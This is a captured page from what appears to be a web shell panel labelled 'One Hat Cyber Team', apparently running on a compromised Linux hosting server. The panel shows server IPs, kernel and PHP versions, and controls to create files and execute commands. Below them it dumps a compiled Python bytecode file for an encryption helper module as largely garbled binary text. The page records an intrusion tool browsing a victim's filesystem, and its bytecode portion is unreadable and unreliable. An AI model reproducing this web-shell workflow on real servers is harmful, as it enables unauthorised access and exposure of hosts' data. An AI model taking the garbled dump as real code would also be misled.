⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.222
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
primordial
/
__pycache__
/
View File Name :
encryptor.cpython-39.pyc
a ���g�, � @ s� d dl Z d dlZd dlZd dlmZmZ d dlmZ d dlm Z m Z mZmZ d dl mZ d dlmZ d dlmZmZ d dlmZmZ d d lmZmZ e ed �dd�Zeeef ed �dd�ZG dd� d�ZG dd� d�ZG dd� d�Z dS )� N)� b64decode� b64encode)�Path)�AnyStr�Optional�Union�cast)�x509)�Fernet)�hashes� serialization)�MGF1�OAEP)�aes_cbc_pkcs7_encrypt�aes_cbc_pkcs7_decrypt)�data�returnc C s t | t�r| �d�} tt| �S )a Convert a Python `str` object to a `bytes` object. If the parameter is already a `bytes` object, return it unmodified. :param data: The object to be converted :return: The converted object, or the original object if it was not a `str` object �utf-8)� isinstance�str�encoder �bytes)r � r �E/opt/nydus/tmp/pip-target-mke_irhy/lib/python/primordial/encryptor.py�_make_bytes s r )�key_pathr c C sB | du rt d��t| t�r"t| �} | �� s:t dj| d���| �� S )a. Convenience function to load the content of a key or cert file and return its contents. :param key_path: Path to the key/cert file to be loaded :return: The file contents as a bytes object :raises: ValueError if the key_path parameter is None of doesn't point to an existing file Nz!key_path parameter cannot be Nonez$key path '{key_path}' does not exist�r )� ValueErrorr r r �is_file�format� read_bytesr r r r �load_key_content! s r! c @ s<